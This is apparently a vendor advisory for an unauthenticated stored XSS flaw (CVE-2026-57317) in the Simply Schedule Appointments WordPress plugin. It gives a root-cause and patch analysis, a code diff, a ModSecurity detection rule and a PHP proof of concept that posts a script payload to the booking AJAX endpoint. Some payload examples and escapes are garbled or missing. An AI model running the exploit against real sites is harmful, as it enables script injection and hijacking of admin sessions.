Published : July 4, 2026

CVE-2026-57317: Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin <= 1.6.12.2 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.6.12.2
Patched Version 1.6.12.4
Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57317:

The vulnerability is a stored cross-site scripting (XSS) issue in the Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin for WordPress, affecting versions up to and including 1.6.12.2. An unauthenticated attacker can inject arbitrary web scripts that execute whenever a user accesses an injected page. The CVSS score is 7.2, categorized under CWE-79.

Root Cause: The vulnerability resides in the `sanitize_textarea_field` usage within the `appointment-model.php` file. Specifically, the `class-appointment-model.php` file (lines 246-255) loops over `$data[‘customer_information’]` and applies `sanitize_textarea_field` to string values. However, this function does not fully encode HTML entities like `&`, “, `”`, or `’`; it only strips some tags while allowing others. The insufficient sanitization allows an attacker to store malicious HTML/JavaScript in fields that are later rendered unsafely by the plugin’s notification or template rendering pipeline (e.g., in `class-notifications.php`). The rendering pipeline previously used `htmlspecialchars_decode` and later `html_entity_decode` on raw user data, potentially reanimating escaped payloads.

Exploitation: An unauthenticated attacker can submit a booking appointment form via the plugin’s public-facing booking form (AJAX handler). The attacker crafts the `customer_information` parameter with values containing XSS payloads, such as `alert(1)` or ``. The backend stores this data with `sanitize_textarea_field`, which does not fully neutralize XSS. When an administrator or other user views the appointment details or when the notification system processes the data, the payload executes in the victim’s browser. The specific attack vector is unauthenticated because the booking form does not require authentication.

Patch Analysis: The patch in `class-appointment-model.php` (lines 246-255) changes the sanitization logic. The vulnerable code used `sanitize_textarea_field` directly on string values; the patched code adds an additional check for nested arrays (e.g., checkbox fields) and applies `sanitize_text_field` to those elements. While this does not change the sanitization for top-level strings, the patch also modifies `class-notifications.php` to remove the problematic `htmlspecialchars_decode` calls that could resurrect encoded XSS payloads. Before the patch, the template rendering pipeline (lines 1275-1293 and 1287-1312) called `htmlspecialchars_decode` after `wp_kses_post`, allowing escaped HTML to become executable. The patch removes these decode calls and replaces them with `html_entity_decode` applied only to plain-text outputs (email subjects and SMS messages) after stripping all tags, ensuring no markup remains. Additionally, the patch adds a `ssa_fetched_at` timestamp to Google Calendar tokens and improves clock-drift handling, which are unrelated to the XSS fix.

Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of an authenticated user’s browser session. This can lead to session hijacking, defacement, redirection to malicious sites, or theft of sensitive information such as admin credentials or appointment data. Because the injected script runs in the admin panel dashboard or email notifications, the attacker gains persistent access to the affected site.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/simply-schedule-appointments/includes/class-appointment-model.php
+++ b/simply-schedule-appointments/includes/class-appointment-model.php
@@ -246,11 +246,19 @@
 			return $data;
 		}

-		foreach ( $data['customer_information'] as &$info ) {
-			if ( is_string( $info ) ) {
-				$info = trim( $info );
-				// sanitize
-				$info = sanitize_textarea_field($info);
+		foreach ( $data['customer_information'] as $key => $value ) {
+			if ( is_string( $value ) ) {
+				$data['customer_information'][ $key ] = sanitize_textarea_field( $value );
+			} elseif ( is_array( $value ) ) {
+				// Checkbox fields are the only legitimate source of nested input;
+				// accept exactly a one-level array of strings.
+				$sanitized = array();
+				foreach ( $value as $element ) {
+					if ( is_string( $element ) ) {
+						$sanitized[] = sanitize_text_field( $element );
+					}
+				}
+				$data['customer_information'][ $key ] = $sanitized;
 			}
 		}

--- a/simply-schedule-appointments/includes/class-appointment-object.php
+++ b/simply-schedule-appointments/includes/class-appointment-object.php
@@ -852,6 +852,8 @@
 			'date_created' => '',
 			'date_modified' => '',
 			'public_edit_url' => '',
+			'price_full' => '',
+			'payment_received' => '',
 			'payment_method' => '',
 			'web_meeting_url' => '',
 			'web_meeting_password' => '',
@@ -874,6 +876,17 @@
 			$payload['appointment']['appointment_type_title'] = $appointment_type_object->title;
 		}

+		// price_full is not a column on modern installs (dropped in #652) but a
+		// residual DECIMAL(9,2) column still exists on pre-Mar-2023 DBs, where
+		// SELECT * leaks a stale "0.00". Treat 0/""/null all as "no price set"
+		// and backfill from the appointment type's configured price.
+		if ( empty( (float) $payload['appointment']['price_full'] ) && ! empty( $payload['appointment']['appointment_type_id'] ) ) {
+			$appointment_type_object = $this->get_appointment_type();
+			if ( ! empty( $appointment_type_object->payments['price'] ) ) {
+				$payload['appointment']['price_full'] = (float) $appointment_type_object->payments['price'];
+			}
+		}
+
 		$settings_global = ssa()->settings->get()['global'];
 		foreach ( $dates_to_localize as $key ) {
 			if ( empty( $payload['appointment'][$key] ) ) {
--- a/simply-schedule-appointments/includes/class-elementor.php
+++ b/simply-schedule-appointments/includes/class-elementor.php
@@ -20,7 +20,7 @@
 	 *
 	 * @var string The plugin version.
 	 */
-	const VERSION = '1.6.12.2';
+	const VERSION = '1.6.12.4';

 	/**
 	 * Minimum Elementor Version
@@ -29,7 +29,7 @@
 	 *
 	 * @var string Minimum Elementor version required to run the plugin.
 	 */
-	const MINIMUM_ELEMENTOR_VERSION = '1.6.12.2';
+	const MINIMUM_ELEMENTOR_VERSION = '1.6.12.4';

 	/**
 	 * Minimum PHP Version
@@ -38,7 +38,7 @@
 	 *
 	 * @var string Minimum PHP version required to run the plugin.
 	 */
-	const MINIMUM_PHP_VERSION = '1.6.12.2';
+	const MINIMUM_PHP_VERSION = '1.6.12.4';

 	/**
 	 * Instance
--- a/simply-schedule-appointments/includes/class-google-calendar-client.php
+++ b/simply-schedule-appointments/includes/class-google-calendar-client.php
@@ -201,9 +201,10 @@
 			ssa_debug_log( print_r( $response, true ), 10); // phpcs:ignore
 			throw new Exception( 'Failed to validate Google Calendar access token' );
 		}
-
+
 		return true;
 	}
+
 	/**
 	 * use in place of ->calendarList->listCalendarList( $options = array() ) {}
 	 * this method will return all calendars, not just the first page
@@ -489,7 +490,15 @@

 		// if less than 300 seconds remaining, refresh the token anyways
 		$created = 0;
-		if ( isset( $token['created'] ) ) {
+		if ( isset( $token['ssa_fetched_at'] ) ) {
+			// Local stamp recorded when the token entered the plugin (see refresh and
+			// quick-connect paths). Preferred over `created` and the id_token's `iat`
+			// claim because it uses the same local clock as the `time()` comparison
+			// below — comparing a remote-clock-derived timestamp against the local
+			// clock can falsely declare a fresh token expired on a host whose system
+			// clock has drifted.
+			$created = $token['ssa_fetched_at'];
+		} elseif ( isset( $token['created'] ) ) {
 			$created = $token['created'];
 		} elseif ( isset( $token['id_token'] ) ) {
 			// check the ID token for "iat"
@@ -551,7 +560,7 @@
 				ssa_debug_log( print_r( $response, true ), 10 ); // phpcs:ignore
 				return false;
 			}
-
+
 			$data = json_decode(wp_remote_retrieve_body($response), true);

 			if( empty( $data['refresh_token'] ) ) {
@@ -581,6 +590,8 @@
 			ssa_debug_log( 'Failed to refresh access token for staff id ' . (string) $this->staff_id . print_r($response, true), 10); // phpcs:ignore
 			throw new Exception( 'Failed to refresh access token' );
 		}
+		// Local mint stamp for clock-drift-tolerant expiry — see is_access_token_expired().
+		$response['ssa_fetched_at'] = time();
 		return $response;
 	}

@@ -682,9 +693,16 @@
 			if ( is_wp_error($response) || wp_remote_retrieve_response_code($response) > 299 ) {
 				throw new Throwable( $response );
 			}
-
+
 			$data = json_decode(wp_remote_retrieve_body($response), true);
-
+
+			if ( empty( $data ) || ! is_array( $data ) || empty( $data['access_token'] ) ) {
+				ssa_debug_log( 'Failed to exchange auth code for staff id ' . (string) $this->staff_id . print_r( $response, true ), 10 ); // phpcs:ignore
+				return false;
+			}
+
+			// Local mint stamp for clock-drift-tolerant expiry — see is_access_token_expired().
+			$data['ssa_fetched_at'] = time();
 			$this->access_token = $data;

 			return true;
--- a/simply-schedule-appointments/includes/class-notifications.php
+++ b/simply-schedule-appointments/includes/class-notifications.php
@@ -1110,6 +1110,12 @@
 				$subject = '';
 			} else {
 				$subject = wp_strip_all_tags( $this->get_rendered_template_string_for_appointment( $appointment_object, $notification['subject'], $notification_vars ), true );
+				// Email subjects are plain-text MIME headers and don't decode HTML
+				// entities. The kses-final render pipeline leaves customer_information
+				// values in their entity-encoded form (e.g. "Smith & Jones"), so
+				// decode here for legibility. Safe after wp_strip_all_tags because no
+				// HTML markup remains to be reanimated.
+				$subject = html_entity_decode( $subject );
 			}
 			$message = $this->get_rendered_template_string_for_appointment( $appointment_object, $notification['message'], $notification_vars );

@@ -1167,6 +1173,13 @@
 					continue;
 				}

+				// SMS is plain-text. Strip any HTML the kses pipeline allowed
+				// through and decode entities so customer_information values
+				// like "Smith & Jones" don't arrive as "Smith & Jones".
+				// Safe in this order because wp_strip_all_tags removes any
+				// markup before html_entity_decode runs.
+				$sms_message = html_entity_decode( wp_strip_all_tags( $message ) );
+
 				$response = array();
 				foreach ($recipients['sms_to'] as $key => $to_number) {
 					$sms_args = apply_filters( 'ssa/notifications/sms/args', array(
@@ -1175,7 +1188,7 @@
 						'notification_vars' => $notification_vars,
 						'appointment_object' => $appointment_object,
 						'subject' => $subject,
-						'message' => $message,
+						'message' => $sms_message,
 					) );

 					if ( empty( $sms_args['to_number'] ) ) {
@@ -1275,7 +1288,10 @@
 			array( ' ' ),
 			$template_string
 		);
-		$template_string = htmlspecialchars_decode( $template_string );
+		// wp_kses_post (inside render_template_string) must remain the last
+		// sanitizing transformation — a decode after it can resurrect encoded
+		// payloads. make_clickable composes safely with kses output: its URL
+		// regex matches "&" in full and esc_url re-encodes it as "&".
 		$template_string = make_clickable( $template_string );

 		return $template_string;
@@ -1287,7 +1303,7 @@
 				'example_appointment_type_id' => $appointment_type_object->id,
 			) );
 		}
-
+
 		$template_string = $this->plugin->templates->cleanup_variables_in_string( $template_string );
 		$template_string = $this->prepare_notification_template( $template_string );
 		$template_string = $this->plugin->templates->render_template_string( $template_string, $notification_vars );
@@ -1296,7 +1312,10 @@
 			array( ' ' ),
 			$template_string
 		);
-		$template_string = htmlspecialchars_decode( $template_string );
+		// wp_kses_post (inside render_template_string) must remain the last
+		// sanitizing transformation — a decode after it can resurrect encoded
+		// payloads. make_clickable composes safely with kses output: its URL
+		// regex matches "&" in full and esc_url re-encodes it as "&".
 		$template_string = make_clickable( $template_string );

 		return $template_string;
--- a/simply-schedule-appointments/includes/class-paypal-ipn-listener.php
+++ b/simply-schedule-appointments/includes/class-paypal-ipn-listener.php
@@ -23,7 +23,7 @@
 	 *  @package    PHP-PayPal-IPN
 	 *  @author     Micah Carrick
 	 *  @copyright  (c) 2011 - Micah Carrick
-	 *  @version    1.6.12.2
+	 *  @version    1.6.12.4
 	 *  @license    http://opensource.org/licenses/gpl-3.0.html
 	 */

--- a/simply-schedule-appointments/simply-schedule-appointments.php
+++ b/simply-schedule-appointments/simply-schedule-appointments.php
@@ -3,7 +3,7 @@
  * Plugin Name: Simply Schedule Appointments
  * Plugin URI:  https://simplyscheduleappointments.com
  * Description: Easy appointment scheduling
- * Version:     1.6.12.2
+ * Version:     1.6.12.4
  * Requires PHP: 7.4
  * Author:      NSquared
  * Author URI:  https://nsquared.io/
@@ -15,7 +15,7 @@
  * @link    https://simplyscheduleappointments.com
  *
  * @package Simply_Schedule_Appointments
- * @version 1.6.12.2
+ * @version 1.6.12.4
  *
  * Built using generator-plugin-wp (https://github.com/WebDevStudios/generator-plugin-wp)
  */
@@ -207,7 +207,7 @@
 	 * @var    string
 	 * @since  0.0.0
 	 */
-	const VERSION = '1.6.12.2';
+	const VERSION = '1.6.12.4';

 	/**
 	 * URL of plugin directory.
--- a/simply-schedule-appointments/vendor/composer/installed.php
+++ b/simply-schedule-appointments/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => '__root__',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '9dde10134016987a3069f0b466799d1a81afee1e',
+        'reference' => '248abb0fcbf9bebef5f7cba7358ae587fc9beeee',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         '__root__' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '9dde10134016987a3069f0b466799d1a81afee1e',
+            'reference' => '248abb0fcbf9bebef5f7cba7358ae587fc9beeee',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-57317
# Block unauthenticated stored XSS in Simply Schedule Appointments Booking Plugin
# Targets the AJAX action 'ssa_appointment_book' with XSS payload in customer_information
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-57317 XSS via ssa_appointment_book AJAX',severity:'CRITICAL',tag:'CVE-2026-57317'"
SecRule ARGS_POST:action "@streq ssa_appointment_book" "chain"
SecRule ARGS_POST:customer_information "@rx <script[^>]*>.*?</script>|<[^>]*onw+=|javascript:s*w+(" ""

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57317 - Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin <= 1.6.12.2 - Unauthenticated Stored Cross-Site Scripting

// Configuration: Set these variables before running.
$target_url = 'http://example.com'; // Base URL of WordPress installation (no trailing slash)

// Step 1: Submit a fake appointment booking with XSS payload in customer_information
// The plugin uses an AJAX endpoint (action: 'ssa_appointment_book') to create appointments.
// We craft customer_information with a malicious value that will be stored and executed later.

$payload = '<script>alert("XSS_POC");</script>';

// Prepare the booking data (minimal required fields)
$booking_data = array(
    'action' => 'ssa_appointment_book',
    'appointment_type_id' => 1, // Replace with a valid appointment type ID (usually 1)
    'start_date' => date('Y-m-d', strtotime('+1 day')),
    'start_time' => '10:00',
    'customer_information' => array(
        'Name' => 'Test User',
        'Email' => 'test@example.com',
        'Phone' => '1234567890',
        'Notes' => $payload, // This field will be stored and rendered
    ),
);

// Send the booking request (AJAX endpoint)
$ch = curl_init($target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($booking_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check if booking succeeded (response should contain 'booked' or similar status)
if ($http_code == 200) {
    echo "[+] Appointment booking request sent successfully.n";
    echo "[+] XSS payload injected into customer_information[Notes]: " . $payload . "n";
    echo "[+] The payload will execute when an admin views the appointment or receives a notification.n";
} else {
    echo "[-] Failed to send request. HTTP code: " . $http_code . "n";
    echo "[-] Response: " . $response . "n";
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.